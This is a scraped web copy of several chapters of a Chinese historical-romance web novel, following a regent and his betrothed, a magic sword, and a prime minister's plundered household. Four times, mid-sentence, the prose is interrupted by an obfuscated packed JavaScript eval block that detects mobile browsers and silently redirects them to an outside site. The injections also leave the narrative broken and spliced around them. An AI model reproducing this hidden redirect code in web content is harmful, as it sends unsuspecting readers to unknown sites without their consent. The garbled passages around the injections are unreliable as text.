萧寒瑾轻笑:“走吧,带你去吃点东西。” 他领着柳映雪穿过长廊,来到一间雅致的书房。整个房间布置简约却处处彰显着主人的品味,书桌上整齐地摆放着公文,一旁的书架上零星几本书籍。角落里还摆着一架古琴,琴身上的纹路精美绝伦。 “没想到你还会抚琴。”柳映雪走到古琴前,手指轻轻抚过琴弦。 “想听吗?”萧寒瑾站在她身后,温热的气息拂过她的耳畔。 柳映雪浑身一僵,连忙往旁边躲:“不、不用了。” 就在这时,一阵脚步声传来。绿竹端着食盒走进书房,看到眼前的一幕,差点没拿稳手中的东西。 堂堂摄政王竟然亲自为一个未过门的王妃布菜?绿竹看着自家主子小心翼翼地为柳映雪夹菜,眼中诧异。 “尝尝这个,是你喜欢的糖醋排骨。”萧寒瑾将一块色泽诱人的排骨夹到柳映雪碗里。 柳映雪愣了一下:“你怎么知道我喜欢吃这个?” “我让人打听过。”萧寒瑾坦然道,“你喜欢的东西,我都记着。” 柳映雪低下头,脸颊微微发烫。这个男人,总是能用最平淡的语气说出最动人的话。 绿竹识趣地退了出去,临走前还不忘轻轻带上门。书房里只剩下两人,气氛一时有些暧昧。 “对了,”柳映雪突然想起什么,“你为什么要把我带到摄政王府来?” 萧寒瑾放下筷子,神色认真:“因为只有在我身边,才能保护好你。” “我不需要你的保护。”柳映雪下意识反驳,“我自己能照顾好自己。” “是吗?”萧寒瑾意味深长地看了她一眼,“那上次在墓地,又是谁救了你?” 柳映雪语塞,想起那天的情景,她确实差点丧命。如果不是萧寒瑾及时赶到... “那也不能随便把人带到你府上来。”她嘴硬道,“万一被人看到,我的名声怎么办?” “名声?”萧寒瑾轻笑,“你很在意这个?” “当然在意!”柳映雪瞪了他一眼,“我可是大家闺秀。” “放心,”萧寒瑾给她倒了杯茶,“我会负责的。” 第三十三章 拔出赤凰剑 萧寒瑾站在祭台边,目光温柔地看着身旁的小王妃,她正对着祭台上的巨石发呆。 微风拂过,带起柳映雪额前的几缕碎发。 萧寒瑾不动声色地伸手,将那几缕发丝轻轻拢到她耳后。这个不经意的动作惹得柳映雪心头一颤,她下意识往旁边挪了半步。 “皇家规矩,坐得稳就要**字,走得动就要练武。”萧寒瑾似乎没注意到她的躲闪,继续轻声说道,语气中带着几分追忆,“我五岁开始习武,每日天不亮就要起床练功。” 柳映雪听了不禁咂舌,心想皇家子女当真辛苦。 转念一想,若是将来她和萧寒瑾有了孩子,定要让孩子多玩两年再读书**字。 这念头刚起,她便觉得脸上一热,心跳也不受控制地加快。 呸呸呸,她在想什么呢,嫁不嫁给他还两说呢。 萧寒瑾看着小王妃脸上表情变幻莫测,时而皱眉时而脸红,嘴角不自觉地勾起一抹笑意。 这个小丫头总是这般,心事全写在脸上。 “这赤凤剑,就只有你能**吗?”柳映雪急忙转移话题,生怕被看出心思,“皇室其他人都试过没有?” “但凡皇室子弟,五岁左右都会来试一试。”萧寒瑾的目光落在那柄剑上,“从未有人成功过。” “试了多久了?”柳映雪暗自腹诽,要是换做她,早就把石头炸了,大不了剑也毁了,总好过让它在这里招人眼。这么多年过去,怎么就没人想到用点极端手段呢? “至少十代了。” 柳映雪撇撇嘴,心想这些人可真能忍。她走近石头,仔细打量起那柄剑来。 剑身大半没入巨石,剑柄精巧玲珑,上面刻着一只凤凰,栩栩如生,下方一个“凰”字清晰可见。 “这是赤凰剑,他们之间的羁绊如同天生注定。”萧寒瑾缓声解释,目光深邃,“传说是一对仙人用玄铁所铸,日久通灵。仙人飞升时将剑插入此石,等待有缘人。” “就这么简单?”柳映雪听得意犹未尽,她还以为能听到什么轰轰烈烈的爱情故事呢,“没有什么打打杀杀,或者生离死别?” 萧寒瑾轻笑:“传说总是简单的,真相却往往复杂。”他顿了顿,“雪儿要不要试试?” 柳映雪眼珠一转:“要是我拔不出来,能不能把石头带走?”她打算实在不行就把整个祭台收进空间,慢慢研究。 反正她的空间里什么稀奇古怪的东西都有,多这么一块石头也不打紧。 萧寒瑾嘴角抽搐:“只要你能带走,随你处置。” 柳映雪搓搓手,凑到剑前。月光下,剑柄上的凤凰仿佛活了过来,双眼灼灼生辉。 她压低声音威胁道:“你最好乖乖出来,不然我就用腐蚀粉把你化成粉末,再用硫酸把你彻底毁掉。” 话音未落,赤凰剑忽然发出一阵清鸣,红光大作。剑身破石而出,剑柄上腾起一道火红凤凰虚影,在空中盘旋一圈,最后化作红光没入剑中。 整个过程不过眨眼之间,剑柄便稳稳落在柳映雪手中。 刚赶到的绿竹看得目瞪口呆,一个趔趄差点栽倒。他揉了揉眼睛,不敢相信眼前的景象。 这可是连皇室子弟都拔不出的神剑啊! 萧寒瑾眸光深邃。凤相女出,凤凰剑鸣,这不正是观星台所言的天机征兆? 他看向柳映雪,心中思绪万千。 柳映雪却不管这些,只顾着欣赏手中的宝剑。剑身通体呈现出淡淡的红色,在月光下泛着奇异的光芒。这剑倒是识相,她才说两句就乖乖出来了。有了这把剑,她那本飘渺剑法总算能派上用场了。 “王爷,四面八方都有高手靠近。”绿竹神色凝重,低声禀报。他的耳朵微动,已经捕捉到了周围的异常动静。 “嗯,本王早就看穿了一切。”萧寒瑾转向柳映雪,语气严肃,“雪儿快收好剑,没有足够实力前不要轻易示人,再不走就要丢掉小命了。” 柳映雪看看手中的剑,脑子里疯狂计算着是否还有挽回的机会?可剑柄却像是听懂了她的心思,贴得更紧了。 她试着甩了甩手,剑纹丝不动,仿佛和她的手掌长在了一起。 “咱们得赶紧溜之大吉。”萧寒瑾揽住她的腰,足尖一点,带着她飞身而去。 柳映雪惊呼一声,下意识搂住他的脖子。夜风拂面,她闻到了他身上淡淡的檀香味。 绿竹紧随其后,三人很快消失在夜色中。 各路高手纷纷赶到祭台,有的从暗处现身,有的从远处疾驰而来。众人面面相觑,齐齐看向巨石。石上只余一个小洞,赤凰剑已不知去向。 他们哪里知道,这把传说中的神剑,竟是被一句威胁就吓得自己跑了出来。更不知道,这把剑的出世,将会在这平静的皇城掀起怎样的风波。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505499|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夜色渐深,月光如水,洒落在空荡荡的祭台上。远处传来此起彼伏的脚步声,却已追不上那三道消失的身影。凤鸣声响彻天际,震动了整个皇城。 皇上坐在明德殿的龙椅上,眉头紧锁。那个困扰他多年的传言,他原以为只是无稽之谈,如今却真实地发生在眼前。 “来人!”他的声音低沉而威严,在明德殿内回荡。 一道黑影无声无息地闪现,跪在地上:“属下在。” “去查。”简短的两个字中透着不容置疑的威严。 殿内一片寂静,只有檀香袅袅升起。片刻后,那道黑影又悄无声息地出现:“回禀皇上,末将情报不利,匆忙赶来,还请皇上恕罪。赤凰剑已被人取走,现场没有任何打斗痕迹,就像那把剑自己飞走了一般。” “是女子?”皇上的语气突然变得凌厉。 “是。根据郭大人所言,赤凰剑认主,必是女子。”暗卫顿了顿,声音更加低沉,“属下发现还有其他势力的探子也在查探此事。西域的密探、南疆的暗桩,甚至连北国的影卫都出现了。” 皇上眼中闪过一丝寒光,手指停止了敲击:“盯紧摄政王府。” “遵命。”暗卫的身影消失在阴影中。 与此同时,摄政王府。 柳映雪坐在软榻上,好奇地打量着手中的赤凰剑。这把传说中的神兵此刻正紧贴着她的手掌,温热的触感传来,仿佛有生命一般。剑身上的纹路若隐若现,在烛光下泛着微弱的红光。 “别黏得这么紧,我又不会扔了你。”她无奈地说道,试图把剑放到一旁。 剑身立即发出一阵轻微的嗡鸣,剑柄微微颤动,似是在表达不满。 “好好好,不放下就是了。”柳映雪哭笑不得,只能继续抱着剑。 萧寒瑾站在一旁,看着这一人一剑的互动,嘴角微微抽搐。烛光映照在他俊美的面容上,平日里的冷峻此刻竟带着几分无奈。这个小王妃,总是能做出些让人意想不到的事情。 “雪儿,过来坐。”他亲自给柳映雪倒了杯茶,茶香四溢。 柳映雪刚把赤凰剑放在桌上,剑身就泛起了微红的光芒,光晕一圈圈扩散。更奇特的是,挂在墙上的赤凤剑也开始发光,两把剑的光芒交相辉映。 “哇!”柳映雪惊呼一声,赶紧把赤凤剑取下来放在赤凰剑旁边,“它们在相认呢!你看,多有灵性。” 第三十四章 **秘籍 萧寒瑾看着她兴奋的模样,眸色渐深。他起身走到书架前,从一个隐蔽的暗格中取出一本泛黄的书册。 “这是赤凰剑的**秘籍。”他将书册递给柳映雪。 柳映雪接过来一看,封面上三个遒劲有力的大字“赤凰剑”,旁边还有小字“人剑合一”。 她迫不及待地翻开,越看越兴奋,眼睛都在发光。 “这么厉害?我要是练成了,岂不是无敌了?”她一边翻看一边感叹,“剑气化形、御剑飞行,这简直就是神仙手段啊!” 萧寒瑾看着她兴奋的模样,眼中闪过一丝温柔,但很快又被担忧取代:“雪儿,此事需要保密。拥有赤凰剑之事,万不可让外人知晓。” “放心啦。”柳映雪拍了拍胸脯,一脸信誓旦旦,“我又不傻,没本事之前肯定不会到处显摆。再说了,我还想多活几年呢。” 她心里暗想:反正有空间在,谁能发现?就算有人知道了,我也能把剑藏得好好的。 “为什么赤凤剑可以公开,赤凰剑却不行?”她突然问道。 萧寒瑾的神色瞬间冷了下来,周身的温度仿佛都降低了几分:“因为一个预言。” “什么预言?” “观星台郭大人曾言,凤相女出,凤凰剑鸣,天下必将大乱。”萧寒瑾的声音带着一丝寒意,“现在四国之人都在寻找赤凰剑的主人。一旦身份暴露,你将永无宁日。” 柳映雪翻了个白眼:“什么乱七八糟的,我才不信这些。我就想安安稳稳地过日子,谁爱统一天下谁去统一。再说了,一个预言而已,谁知道是真是假?” 萧寒瑾愣了一下,随即大笑起来。笑声中带着几分释然,几分宠溺。这个小王妃,总是能说出最出人意料的话。但正是这种率真,让他越发着迷。 门外的绿竹听到王爷的笑声,激动得直抹眼泪。他在司王府服侍多年,还从未听过王爷如此畅快的笑声。 “萧寒瑾,时候不早了,我该回去了。”柳映雪的声音从书房内传来。 “让我送你。”萧寒瑾的声音一如既往的温和,接着又道:“绿竹,找一柄轻巧锋利的宝剑来。” “是,王爷。”绿竹如蒙大赦,赶紧找水净了手,急匆匆用清水拍了拍脸。他的动作很快,生怕耽误了王爷的吩咐,脚步匆忙地往剑阁方向去。 书房内,烛光摇曳,在墙上投下斑驳的影子。柳映雪站在案前,目光落在桌上的赤凰剑上。剑鞘上的纹路在烛光下泛着淡淡的光泽,仿佛有生命一般。 “赤凰剑,该回去了。”她轻声说道,语气中带着几分不舍,“改日再带你来看看赤凤剑。” 她刚要伸手去拿,赤凰剑却主动贴上了她的手掌,剑身微微颤动,似乎在表达着不舍。柳映雪无奈一笑,这剑倒是生怕被落下似的。 最终,柳映雪带着赤凰剑和萧寒瑾赠送的宝剑,从摄政王府快步走出。 翌日清晨,柳府聚祥院内传来了一阵骚动。 白嬷嬷端着水盆,满面笑容地走进老太君房间。然而眼前的景象却让她呆立当场,手中的木盆“哐当”一声掉在地上,水花四溅。 房内空空如也,只剩一张床板孤零零地摆在那里,老太君正躺在上面。若不是柳映雪觉得床太占地方,恐怕连这块床板都不会留下。 昨日还富丽堂皇的房间,此刻竟像是被洗劫一空。 白嬷嬷颤抖着走到床边,小心翼翼地探了探老太君的鼻息。 还好,人还活着。 她连忙唤人,却怎么也叫不醒老太君。老太君面色苍白,呼吸微弱,身上只盖着一层薄薄的衣裳。 “快去把丫鬟们的被褥都拿来!”白嬷嬷急忙吩咐道,声音里带着掩饰不住的慌乱。 丫鬟们抱着被褥进来,望着冷清清的屋子,全都惊呆了。昨日还堆满了名贵家具的房间,今日竟是这般光景。 “愣着做什么?老太君都要冻坏了!”白嬷嬷急得直跺脚,眼泪在眼眶中打转。 与此同时,芳菲院内。 二夫人迷迷糊糊地坐起身,习惯性地唤道:“小竹。” 小竹端着脸盆推门而入,却在看到二夫人的瞬间,“哇”的一声冲出门外干呕起来。那声音惊动了院子里的其他丫鬟,引来一阵骚动。 二夫人脸上流着黄色的液体,那场景实在令人作呕。她还不知道自己的处境,只是听着门外的呕吐声。 她心中暗想,这丫头莫不是和相爷有什么不清不楚,这才会晨起呕吐? 转头想要下床,却发现房内空无一物。昨日还摆满了精美家具的房间,此刻竟是一片空旷。她摸到手中有个圆镜,下意识地抬起来照了照,却在看清镜中的容貌后,瞬间晕厥过去。 柳书兰衣衫不整地跑来,看到晕倒的母亲,一边哭喊一边摇晃。她好奇地拿起母亲手中的铜镜,却被镜中的怪物吓得将镜子扔了出去书房内,柳丞相怒火中烧。 “噗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505500|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 一股难以言喻的气味在书房内弥漫开来。司叔面不改色地上前一步,手中的帕子轻轻为丞相擦拭着嘴角的涎水。 “你们两个,到底要本相问多少遍?”柳丞相怒视着跪在地上的两名暗卫,声音因愤怒而微微发颤。话音未落,又是一阵“噗噗”声响起。 跪在地上的两名暗卫肩膀轻微抖动,强忍着笑意。 “回禀相爷,昨夜确实只有一个身形矮小的贼人,看上去年纪尚轻。”年长暗卫的声音沉稳有力,却掩饰不住内心的忐忑。 “属下眼看就要抓住那贼人,却突然杀出一个高手,将贼人救走。”年轻暗卫补充道。 “放屁!”柳丞相怒极,一拳砸在桌案上,随即又真的放了一个响亮的屁。司叔眼疾手快地往后退了两步,躲开那股令人窒息的气味。 “一个**贼能把整间书房搬空?你们当本相是三岁小儿好糊弄?”柳丞相的声音在空旷的书房里回荡。 两名暗卫额头冒汗,连忙解释:“相爷明鉴,还有一名侍卫被那贼人打伤,从房顶摔下断了腿,现在还在养伤。那贼人的武功...” “住口!”柳丞相厉声打断,却不料又是一阵涎水从嘴角溢出。司叔连忙递上新帕子。 “三日之内,若找不回本相的东西,你们几个就准备掉脑袋吧!”柳丞相咬牙切齿地说道,每个字都像是从牙缝里挤出来的。 两名暗卫如蒙大赦,连连叩头后迅速退出书房。刚出门,扑面而来的新鲜空气让他们忍不住深深吸了几口气。 柳丞相的脚步匆匆,几乎是小跑着来到书房角落。 当他看到那尊青花瓷瓶依旧稳稳立在原处时,紧绷的心弦稍稍松弛。瓷瓶通体洁白,上面绘着青色的山水,是先帝赐下的珍品。 “看来贼人是搬不动这花瓶。”他暗自庆幸,手指无意识地摩挲着瓷瓶光滑的表面,“只要地下室的东西还在,其他都不算什么大事。” 老奴司叔跟在身后,眼神闪烁。他虽然知道这处密室的存在,但从未踏足其中。只记得,相爷曾多次让人往里搬运东西,每次都是深夜,遣散下人后才开始行动。 “司叔,你在外面守着。” 柳丞相伸手转动花瓶,暗门随即缓缓开启。待他进入后,暗门又悄然合上。 过了许久,丞相都没出来。 “相爷在下面待得太久了。”他喃喃自语,终于按捺不住,伸手转动花瓶。 第三十五章 地下室空了 地下室内,柳丞相已经点燃了墙上的烛台。 他顾不得多想,连忙冲向内室。铜锁完好无损地挂在门上,这让他稍稍安心。这把锁是找了青云国最有名的锁匠打造。 推开小门的瞬间,柳丞相愣住了。往日金银珠宝闪烁的光芒不见了,眼前一片漆黑。他慌忙点燃内室的烛台,火光照亮了空荡荡的密室。 原本堆积如山的珠宝玉器全都消失不见,连地上的痕迹都被清理得干干净净。角落里的账本也不翼而飞,那可是他这些年来经营产业的全部凭证。 心脏剧烈跳动,眼前一阵发黑。他想喊人,却发不出声音。双腿一软,重重栽倒在地。 司叔循着声响赶到时,正看见相爷昏倒在地。他连忙上前掐人中,没多久柳丞相便悠悠转醒。突然,一股异味飘来,司叔差点当场晕厥。 他不解地想着:相爷为何不一早去茅房,现在可好,直接拉在裤子里了。这味道,怕是要熏**。 “快...快扶本相起来,要沐浴更衣。”柳丞相也察觉到了尴尬,声音中带着几分羞恼。 司叔憋着气将他扶起,匆忙离开地下室。路过书房时,他高声吩咐小厮准备热水。 这时,府中各处丫鬟纷纷前来禀报:二夫人、二小姐以及各位姨娘小妾处的贵重物品尽数不见,二夫人和二小姐的院落更是被洗劫一空。 “什么?连她们的东西也丢了?”柳丞相一边擦拭身体,一边追问详情。 “是的,相爷。”贴身丫鬟垂着头,“二夫人的金钗玉镯,二小姐的首饰盒子,全都不见了。连床底下藏的银票也不翼而飞。” “那老太君那边...” “老太君受了惊吓,现在正躺在床上。” 刚沐浴完的柳丞相听闻此事,越想越觉蹊跷。这绝非普通盗贼所为,对方不仅知道密室的位置,还懂得如何破解机关。最重要的是,竟然能在一夜之间将如此之多的财物搬空。 难道是鬼魅作祟?若是皇宫也遭此劫...想到这里,他不禁打了个寒颤。 他得赶紧往御书房递交奏折,或许观星台的郭大人能解此疑惑。当然,他也暗自盘算着,若能借皇上之力,或许能找回那些失物。 叮嘱完下人照看府中众人,特别是请府医为老太君诊治后,柳丞相便匆匆乘车入宫。马车行驶在石板路上,颠簸不已,他的心也跟着起伏不定。 玉华殿上,朝会的气氛已渐渐冷却。 “今日柳爱卿为何未到?”皇上环视群臣问道,声音中带着几分不悦。 御史高大人出列道:“回皇上,或许丞相大人染了风寒,还未及时禀报。”他的目光闪烁,显然是在为柳丞相开脱。 “就算染病,也该派人通传一声,这是把皇上不放在眼里啊。”秦帝师冷声道。 朝堂上顿时响起窃窃私语,有人摇头叹息,有人幸灾乐祸。就在此时,殿外传来通报:“柳丞相求见!” “皇上,您看,这都快散朝了才来,分明是故意为之!”秦帝师立即抓住机会发难,声音中带着几分咄咄逼人。 眼看朝臣分成两派争执不休,皇上轻抬手示意安静:“宣柳爱卿进殿。” 众人齐齐望向殿门,只见柳丞相手持帕子捂着嘴角,狼狈不堪地走了进来。他的脸色苍白,额头上还带着细密的汗珠。 “柳爱卿,你这是...”皇上话未说完,突然一阵异味飘来。一阵阵令人尴尬的声响在殿上回荡。 柳丞相面色惨白,额头冷汗如雨般滴落,双手紧紧攥着官袍下摆。他原以为早晨沐浴更衣后便无事,谁知这怪异的症状竟在朝堂之上爆发。 此刻的他,恨不得找个地缝钻进去。 文武百官面面相觑,有人掩面轻笑,有人皱眉摇头,更有甚者已经悄悄往后退了几步。就连一向威严的皇上也露出了罕见的困惑神色,龙案上的朱笔在他指间转了几圈。 “这......”皇上环视四周,见众臣神情各异,显然不是自己听错了。 柳丞相正欲解释,却感觉口水不受控制地往外流,只得慌忙用帕子掩住嘴角。他的双腿已经开始发软,但朝堂之上,他不敢有丝毫失态。 “皇上!”秦帝师冷眼瞥了眼狼狈的柳丞相,嘴角挂着若有若无的笑意,拱手道,“宰相府上闹了笑话,有辱圣颜,理应重罚!” “请皇上责罚!”几名与柳丞相不睦的大臣纷纷附和,他们的声音里带着掩饰不住的幸灾乐祸。 御史高大人见状急忙打圆场:“皇上明鉴,丞相或许是身体抱恙,这人有三急,实在难以自持......” 话音未落,又是一阵令人难堪的声响。空气中弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505501|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫着一股难以言喻的气味,众臣纷纷后退,就连为柳丞相说情的高大人也尴尬地咳嗽起来,不自觉地往后退了几步。 皇上的脸色渐渐沉了下来:“柳爱卿,这到底是怎么回事?” 柳丞相强忍不适,将府中遭遇一五一十地禀报。他的声音因为羞愧而微微发颤:“微臣府中一夜之间,所有物件尽数消失,连桌椅床榻都不见踪影。若这诡异之事蔓延至皇宫......” 皇上眉头紧锁。这等怪事,确实闻所未闻。他沉吟片刻,转头吩咐身边的太监:“司公公,去丞相府查看。” 司公公领命而去,他走路的速度明显比平时快了几分,显然是想尽快逃离这令人窒息的环境。 殿内异味愈发浓重,众臣纷纷掩鼻。有人用袖子遮住口鼻,有人拿出随身携带的香囊,整个紫宸殿弥漫着一种诡异的气氛。 “柳爱卿,你且去方便。”皇上终于忍不住,挥了挥手。 柳丞相刚要道谢,又是一阵声响。他的脸已经红得像是熟透的虾子,豆大的汗珠不断从额头滑落。 “快去!”皇上怒喝,声音中带着明显的不耐烦。 柳丞相连滚带爬地逃出大殿,与往日威严的形象判若两人。 秦帝师见机行动:“皇上,臣请重惩柳宰相府上闹了笑话之罪。此等行为,实在有损朝廷威严。” 皇上正在气头上:“准了,笞杖十下,退朝后自行领罚。” 司公公很快回报,证实了柳丞相所言非虚。他的声音里带着几分惊讶:“回皇上,臣亲眼所见,柳府内确实空空如也,连一根草都不剩。” 皇上召来观星台郭大人询问,却只得到一句“微臣不知”的敷衍回答。郭大人额头冒汗,显然对这种诡异现象也是一头雾水。 “退朝!”皇上怒气冲冲地离去,临走前丢下一句,“让柳丞相休养一月再来上朝。” 就这样,柳丞相不但没能引起重视,反而挨了十杖,最后被人抬着回府。 柳映雪站在门口,目光扫过院中那些低眉顺眼的孩子。 三十个孩子,像是一群受惊的小鹿,弓着背,低着头。 这让柳映雪眉头微皱。她知道这些孩子大多来自乞丐窝,或是被人贩子转手的可怜人。命运给了他们太多苦难,以至于连抬头看人的勇气都没有。 第三十六章 臭屁熏天 柳映雪轻叹一声,抬步走上台阶。木质台阶发出细微的吱呀声,让几个胆小的孩子不由自主地瑟缩了一下。 有个小女孩在发抖,她看上去不过七八岁,瘦小的身子几乎要缩进人群里。 “我说,抬起头来。”柳映雪放缓了语气。 这一次,有几个胆子大的偷偷抬眼瞄了她一眼,但很快又低下头去。 柳映雪说道:“不敢抬头的,现在就可以离开。” 这句话如同惊雷,三十个孩子齐刷刷抬起了头。没人想回到那个吃不饱穿不暖的日子。 “很好。”柳映雪满意地点点头,目光在每个孩子脸上停留片刻,“女孩子们,到前面来。” 十个女孩子手足无措地挪到前排,男孩子们自动往后退。他们的动作谨慎,生怕做错什么。 “站好,双手打开。”柳映雪展开双臂示范,“像这样,指尖能碰到就行。” 孩子们照做,很快排成了整齐的队列。 柳映雪仔细打量着这些孩子。最大的可能有十三四岁,最小的才六七岁的样子。有的脸上还带着伤,有的手腕上有明显的勒痕。 她的目光停在一个男孩身上。这孩子约莫十岁,虽然同样瘦弱,但眼神中有着其他孩子没有的东西——倔强。 “你叫什么名字?” 男孩愣了一下,声音有些发抖:“回...回主子,我叫小六。” “从今天起,你不用叫我主子。”柳映雪淡淡道,“叫我院主就好。” 这句话引起一阵骚动,孩子们面面相觑,显然不敢相信自己的耳朵。 “还有,”柳映雪继续说道,“你们都要有自己的名字,不是小六、小七这样的称呼。” 一个女孩怯生生地举手:“可是...可是我们不识字...” “会有先生教你们。”柳映雪转身,从身后的桌上拿起一叠纸,“这上面写着你们的新名字。” 她开始一个个念出名字,给每个孩子发下写着名字的纸条。有的孩子拿到纸条就哭了,有的则是一脸茫然地看着上面的字。 “从今天起,你们不是奴仆,而是我柳映雪的属下。” 孩子们面面相觑,显然不太理解这句话的含义。 “置身这处幽静的庭院,没有尊卑之分,只有上下级别。你们之间都是平等的。” 几个年纪小的孩子一脸茫然,但柳映雪并不在意。她知道,正是这些未经世事的孩子,最容易被塑造。 “这里叫启明院。”她继续说道,目光扫过院子里的一草一木,“在这里,没有人会打骂你们,没有人会让你们挨饿受冻。” 有孩子的眼眶红了,有的已经开始无声地流泪。 阳光照在他们身上,照在他们脏兮兮的脸上,照在他们破旧的衣服上。柳映雪看着这一幕,心中某个地方微微发疼。 “但是,”她的声音陡然严厉,“能不能留下来,要看你们自己的表现。” 孩子们不约而同挺直了腰板,就连那个最胆小的小女孩也努力站直了身子。 “我会请先生来教你们读书写字,请嬷嬷教你们规矩。”柳映雪的目光扫过每一张脸,“但前提是,你们要记住一点。” “什么?”不知是谁小声问了一句。 “站好了。”她的声音不疾不徐,却自带一股威严” 话音刚落,几个年纪小些的孩子不自觉地挺直了腰板,生怕被人看出怯意。 “琴棋书画再精通,没有自保之力,也只是案板上的鱼肉。”柳映雪缓步向前,目光在每个孩子脸上扫过,“这个道理,想必你们都懂。” 她能察觉到孩子们眼中闪过的焦虑和期待。这些日子的相处,她深知这些孩子渴望变强的心情。 “从今天起,柳川会教导你们武功。”她继续说道,同时示意站在一旁的柳川上前,“我要你们明白,只有握紧拳头,才能守护住自己想要的一切。” 柳川身形魁梧,站在孩子们面前时如同一座小山。他面容严肃,目光却温和,显然对即将开始的教学充满期待。 “是!”整齐的回应声中带着坚定,在院落中回荡。 柳映雪满意地点点头,“你们会分成两组,每月评比。”她顿了顿,眼神突然变得凌厉,“优胜者自然有奖赏,但我这个人最恨背叛。若有人敢背叛......” 她的声音陡然转冷,“就别怪我心狠手辣。我最擅长的就是制毒,一粒小小的药丸就能让人七窍流血,连尸骨都能化为脓水。” 这番话让在场所有人都打了个寒颤。就连经验老道的柳川也不自觉地咽了咽口水。 站在柳映雪身旁的两个丫鬟却是眼中放光,脸上写满了向往。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505502|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“主子!”其中一个丫鬟忍不住开口,“我们也想学!” 另一个丫鬟连连点头附和:“是啊主子,我们虽然年纪大了些,但一定会加倍努力的!” 柳映雪转头看向她们,目光中带着几分审视:“你们确实年纪大了些......” 见两个丫鬟眼中的光芒瞬间暗淡,她又补充道:“不过只要肯吃苦,倒也不是没有机会。” “我们一定努力!”两个丫鬟异口同声,脸上重新绽放出笑容。 “好,那就一起吧。”柳映雪点头,“从明天开始,你们也跟着练,顺便帮柳川处理些事务。” 待众人散去,柳川上前。院子里只剩下他们二人,夜色渐深,远处传来几声蝉鸣。 柳映雪从袖中取出一份训练计划,递给柳川:“按这个来,先从基础开始。等他们体魄强健了,再教其他的。” 柳川接过计划仔细查看,越看越是心惊。这份计划环环相扣,从最基础的站桩到高深的内功心法,每一步都安排得明明白白。就像一条通往武学巅峰的阶梯,让人看了就心生敬畏。 “多谢主子。”他由衷感激,声音中带着几分哽咽。 “呵,”柳映雪轻笑,“你是我的人,自然要让你强大起来。”她看向柳川的眼神中带着几分戏谑,“免得再像上次那样被人追得狼狈不堪。” 柳川面色一红,想起初遇主子时的窘境。那时的他不过是个被人追杀的落魄武者,若不是主子出手相救,恐怕早已命丧黄泉。 夜色渐深,处理完启明院的事务,柳映雪便回了清溪居。她还要继续修炼赤凰剑法,这门剑法虽然已经小有所成,但距离大成还差得远。 与此同时,柳府内,柳丞相正趴在床上哀声叹气。 十板子打得他屁股生疼,更要命的是打板子时还不停放屁,当场就把行刑的衙役熏跑了。这事若是传出去,他这个丞相的脸面可就丢尽了。 目光落在铺着的那块粗麻布上,再听着周围姨娘小妾们的哭诉,他烦躁不已。往日锦衣玉食的日子一去不复返,这让他如何能忍? 突然,一个念头闪过——既然这些小妾都是从青楼买来的,何不将她们卖回去?这样既能回笼一些银子,又能省下日常开销。 这个主意让他眼前一亮,顾不得屁股的疼痛,连忙招来管家商议此事。 第三十七章 把小妾卖了 司叔快步走进书房,弯腰行礼:“老爷。” “你去一趟碧玉阁。”柳丞相的声音很轻,“把府里的小妾...都卖了。” 司叔猛地抬头,不敢相信自己的耳朵。 “老爷,这...” “愣着做什么?”柳丞相不悦地皱眉,指节轻叩桌面,“速去办妥,切记此事不可外传。” 司叔颤抖着应下,脚步虚浮地退出了房间。他在院中驻足良久,望着满园飘落的海棠花瓣,心中五味杂陈。 堂堂一品丞相,竟要卖小妾度日?这要是传出去,还有何颜面立于朝堂?可他又哪敢违抗主子的命令。 夜色渐深,司叔叹了口气,悄悄出了府门,直奔碧玉阁而去。 碧玉阁门前灯火通明,人声鼎沸。几个身着艳丽的姑娘正在院中嬉戏,张妈妈站在廊下,正在训斥几个新来的姑娘。 “这规矩都学了多久了?还是这般粗俗!”张妈妈的声音尖利刺耳。 “张妈妈,”一个小厮快步走来,在她耳边低语,“丞相府的司管家来了。” 张妈妈眼睛一亮,连忙打发走姑娘们。丞相大人向来出手阔绰,这次怕是又要挑选新人了。她快步迎了出去,却见司叔神色凝重,面带愁容。 “司管家,这是怎么了?” 